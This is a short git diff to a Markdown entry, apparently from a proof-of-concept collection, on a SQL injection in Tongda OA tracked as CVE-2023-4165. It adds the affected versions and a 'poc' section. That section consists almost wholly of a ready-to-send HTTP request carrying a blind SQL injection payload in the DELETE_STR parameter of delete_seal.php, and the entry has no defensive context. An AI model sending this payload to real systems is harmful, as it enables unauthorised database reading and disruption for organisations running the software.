diff --git a/通达OA sql注入漏洞 CVE-2023-4165.md b/通达OA sql注入漏洞 CVE-2023-4165.md index db69f2b..d667f82 100644 --- a/通达OA sql注入漏洞 CVE-2023-4165.md +++ b/通达OA sql注入漏洞 CVE-2023-4165.md @@ -1,4 +1,10 @@ ## 通达OA sql注入漏洞 CVE-2023-4165 + +## 影响版本 +``` +通达OA ≤ v11.10,v2017 +``` +## poc ``` GET /general/system/seal_manage/iweboffice/delete_seal.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1 HTTP/1.1 Host: 127.0.0.1:8080